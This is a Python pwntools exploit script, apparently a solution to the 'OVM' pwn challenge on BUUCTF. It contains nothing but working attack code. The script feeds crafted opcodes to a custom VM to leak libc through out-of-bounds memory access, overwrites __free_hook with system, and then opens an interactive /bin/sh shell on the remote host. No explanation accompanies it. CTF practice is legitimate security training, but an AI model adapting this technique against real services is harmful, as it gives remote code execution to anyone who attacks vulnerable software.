1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| from pwn import *
sh = remote('node3.buuoj.cn',25335) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') exit_sym = libc.sym['exit'] free_hook_sym = libc.symbols['__free_hook'] opcode = []
def mov_reg(reg,data): opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF000000) >> 24))[::-1])) opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(24))[::-1])) opcode.append(u32( (p8(0xC0) + p8(12) + p8(reg) + p8(11))[::-1])) opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF0000) >> 16))[::-1])) opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(16))[::-1])) opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1])) opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1])) opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8((data & 0xFF00) >> 8))[::-1])) opcode.append(u32( (p8(0x10) + p8(11) + p8(0) + p8(8))[::-1])) opcode.append(u32( (p8(0xC0) + p8(13) + p8(reg) + p8(11))[::-1])) opcode.append(u32( (p8(0xA0) + p8(12) + p8(12) + p8(13))[::-1])) opcode.append(u32( (p8(0x10) + p8(reg) + p8(0) + p8(data & 0xFF))[::-1])) opcode.append(u32( (p8(0xA0) + p8(reg) + p8(reg) + p8(12))[::-1]))
def mov_mem_reg(reg1,reg2): opcode.append(u32( (p8(0x40) + p8(reg2) + p8(0) + p8(reg1))[::-1]))
def mov_reg_mem(reg1,reg2): opcode.append(u32( (p8(0x30) + p8(reg1) + p8(0) + p8(reg2))[::-1]))
def add_reg(reg1,reg2): opcode.append(u32( (p8(0x70) + p8(reg1) + p8(reg1) + p8(reg2))[::-1]))
def print_reg(): opcode.append(u32( (p8(0) + p8(0) + p8(0) + p8(0xFF))[::-1]))
mov_reg(0,0xFFFFFFE0)
mov_reg(1,0xFFFFFFF8)
mov_reg(2,free_hook_sym - exit_sym - 0x8)
mov_reg_mem(0,0)
add_reg(0,2)
mov_mem_reg(1,0)
mov_reg(0,0xFFFFFFE1)
mov_reg(1,0xFFFFFFF9)
mov_reg_mem(0,0)
mov_mem_reg(1,0)
mov_reg(1,0xFFFFFFE0)
mov_reg_mem(1,1) print_reg()
sh.sendlineafter('PC:','100') sh.sendlineafter('SP','0') sh.sendlineafter('CODE SIZE:',str(len(opcode))) sh.recvuntil('CODE') for o in opcode: sh.sendline(str(o))
sh.recvuntil('R0: ') high = int(sh.recvuntil('\n',drop = True),16) sh.recvuntil('R1: ') low = int(sh.recvuntil('\n',drop = True),16) exit_addr = (high << 32) + low libc_base = exit_addr - exit_sym system_addr = libc_base + libc.sym['system'] print 'libc_base=',hex(libc_base) print 'system_addr=',hex(system_addr)
sh.sendafter('HOW DO YOU FEEL AT OVM?','/bin/sh\x00' + p64(system_addr))
sh.interactive()
|